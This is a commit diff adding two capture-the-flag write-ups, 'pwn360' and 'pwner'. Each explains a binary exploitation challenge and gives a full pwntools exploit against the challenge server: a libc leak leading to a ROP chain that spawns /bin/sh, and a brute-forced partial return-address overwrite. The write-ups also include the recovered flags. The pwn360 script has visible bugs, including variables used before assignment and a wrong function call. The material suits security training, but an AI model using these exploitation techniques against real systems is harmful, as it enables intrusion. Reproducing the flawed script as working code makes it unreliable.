Skip to content

Commit 230718b

Browse files
committed
Added NCSC-2025 write-up
1 parent 4e77236 commit 230718b

File tree

2 files changed

+210
-0
lines changed

2 files changed

+210
-0
lines changed
Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
---
2+
layout: post
3+
date: 2025-07-31 08:56:00 +0300
4+
categories: NCSC-2025 pwn
5+
title: pwn360
6+
tags: 64-bit ROP buffer-overflow leak ret2libc
7+
---
8+
9+
## Information
10+
- category: pwn
11+
- points: 1000
12+
13+
## Description
14+
> None
15+
16+
## Write-up
17+
This challenge provides a way to **leak memory** directly from the stack using a controlled index. With this capability, we can bypass both **ASLR** and **PIE** protections.
18+
### Step 1: Stack Leak to Defeat ASLR
19+
By using the negative index (e.g., `-3`), we are able to leak a return address from the stack. In our case, the leak shows an address that lies within the `puts` function — specifically something like `puts+0x1fa`.
20+
This is very useful because if we know the **offset of `puts`** within libc, we can subtract it from the leaked address to compute the **base address of libc**.
21+
22+
### Step 2: Why ret2libc?
23+
Looking at the binary, we find:
24+
- PIE and ASLR are enabled.
25+
- There are **no useful gadgets** (like `pop rdi; ret`) inside the binary.
26+
- But once we leak libc, we can use **libc ROP gadgets**, including `system()`.
27+
This makes the **ret2libc technique** the most viable option.
28+
29+
### Step 3: Exploiting ret2libc
30+
After finding the libc base from the `puts` leak, we:
31+
1. Compute the address of `system()` in libc.
32+
2. Find the string `"/bin/sh"` (either from libc or push it on the stack).
33+
3. Find a gadget like `pop rdi; ret` in libc.
34+
4. Overwrite the return address using the leakable index to set up a ROP chain: `pop rdi; ret → "/bin/sh" → system()`
35+
36+
### Step 4: Stack Offset
37+
Using debugging tools like `pwndbg`, we determine that the offset to the return address is `0x58` (88) bytes. This helps in crafting the payload correctly.
38+
39+
## Exploit
40+
```python
41+
#!/usr/bin/env python3
42+
43+
from pwn import *
44+
45+
exe = ELF("./pwn360_patched_patched")
46+
libc = ELF("./libc.so.6")
47+
48+
context.binary = exe
49+
offset_ret = 0x58
50+
offset_puts = (0x1fa - 0x87be0)
51+
def conn():
52+
if args.LOCAL:
53+
r = process([exe.path])
54+
if args.DEBUG:
55+
gdb.attach(r)
56+
else:
57+
r = remote("cyberwarriors-challenges.skidz.io", 7001)
58+
59+
return r
60+
61+
def leak(r):
62+
payload =b"A"*offset_ret
63+
r.sendline(b"-3")
64+
r.recvuntil(b"Leaking for you: ")
65+
leak = int(r.recvline().strip().decode(),16) - offset_puts
66+
log.success(f"libase: {hex(leak)}.")
67+
68+
return leak
69+
def payload(r,base):
70+
libc.address = leak
71+
rop = ROP(libc)
72+
73+
pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
74+
ret = rop.find_gadget(['ret'])[0]
75+
system = libc.sym['system']
76+
binsh = next(libc.search(b"/bin/sh"))
77+
78+
payload += p64(ret)
79+
payload += p64(pop_rdi)
80+
payload += p64(binsh)
81+
payload += p64(system)
82+
return payload
83+
84+
def main():
85+
r = conn()
86+
base = leak(r)
87+
88+
payload = payload()
89+
90+
r.send(payload)
91+
r.interactive()
92+
93+
if __name__ == "__main__":
94+
main()
95+
```
96+
## Flag
97+
> Flag:``` NCSC{p0p1n6_5h3ll5_h4v3_4n07h3r_74573}```
98+
99+
100+
101+
Lines changed: 109 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
---
2+
layout: post
3+
date: 2025-07-31 08:22:00 +0300
4+
categories: NCSC-2025 pwn
5+
title: pwner
6+
tags: 32-bit ret2win buffer-overflow partial-overwrite
7+
---
8+
9+
10+
## Information
11+
- category: pwn
12+
- points: 1000
13+
14+
## Description
15+
> None
16+
17+
## Write-up
18+
We start by analyzing the binary’s control flow. The vulnerable function `vuln()` reads user input using the `read()` syscall. We also notice a hidden function called `print_flag()` — which, if executed, prints the flag. Our objective is to redirect execution to `print_flag()`.
19+
20+
### Step 1: Finding the Overflow
21+
Using `pwndbg` to inspect the stack, we find that the return address sits **52 bytes** after the beginning of the buffer. That means we can overwrite the return address by inputting 52 bytes of junk followed by our payload.
22+
```plaintext
23+
> dist $rsp 0x... # Reveals 52-byte offset to RIP
24+
```
25+
26+
### Step 2: The Challenge – PIE and ASLR
27+
However, there’s a catch: * The binary is **PIE-enabled**, so addresses (including `print_flag`) are randomized each time.
28+
- There's **no infoleak**, so we can't use full ROP or leak base addresses.
29+
- We also can’t fully control the return address because `read()` limits input size and ASLR hides the high bytes of addresses.
30+
So full control is **not possible**, but we can still exploit this using a **partial overwrite**.
31+
32+
### Step 3: Partial Overwrite Strategy
33+
Since the address space is randomized only at page granularity (on 64-bit systems with PIE), the **low byte** (and possibly more) of a function like `print_flag()` often stays the same between executions. For example, if `print_flag()` is at `0x556a7724e072`, then the last byte `0x72` may be stable across runs.
34+
So we:
35+
1. Send **52 bytes** of junk to reach the return address.
36+
2. Overwrite **only the lowest byte** of the return address with the known final byte of `print_flag()` (e.g., `0x72`).
37+
3. Brute-force the upper bytes over multiple runs.
38+
39+
Eventually, the full return address aligns to `print_flag()`. This is called a **partial overwrite** combined with **brute-force of the randomized higher bits**.
40+
41+
### Step 4: Triggering the Overwrite
42+
The function `vuln()` is reused (called again from `main()` or itself), which gives us multiple attempts.
43+
Each time, we do the same partial overwrite until the process crashes or the return lands inside `print_flag()`.
44+
45+
**Result Eventually,**
46+
the process hits the correct base address alignment and jumps into `print_flag()`, revealing the flag.
47+
48+
## Exploit
49+
```python
50+
#!/usr/bin/env python3
51+
52+
from pwn import *
53+
54+
exe = ELF("./pwner_patched")
55+
56+
context.binary = exe
57+
context.terminal = "kitty"
58+
context.log_level = 'debug'
59+
offset_ret = 52
60+
61+
def conn():
62+
if args.LOCAL:
63+
r = process([exe.path])
64+
#gdb.attach(r)
65+
return r
66+
67+
else:
68+
return remote("cyberwarriors-challenges.skidz.io", 7000)
69+
70+
def payload(r,i):
71+
fixed = b"\x99"
72+
payload = b"A" * offset_ret + b"\x99" + p8(i)
73+
r.send(payload)
74+
75+
76+
def main():
77+
while True:
78+
for i in range(0x0,0xff):
79+
r = conn()
80+
payload(r,i)
81+
res = r.recvall(timeout=5)
82+
if b"NCSC{" in res:
83+
print(res)
84+
break
85+
break
86+
87+
88+
if __name__ == "__main__":
89+
main()
90+
```
91+
## Flag
92+
> Flag:``` NCSC{y3545lrc4nb3byp4553dw17h0u7l34k!}```
93+
94+
95+
96+
97+
98+
99+
100+
101+
102+
103+
104+
105+
106+
107+
108+
109+

0 commit comments

Comments
 (0)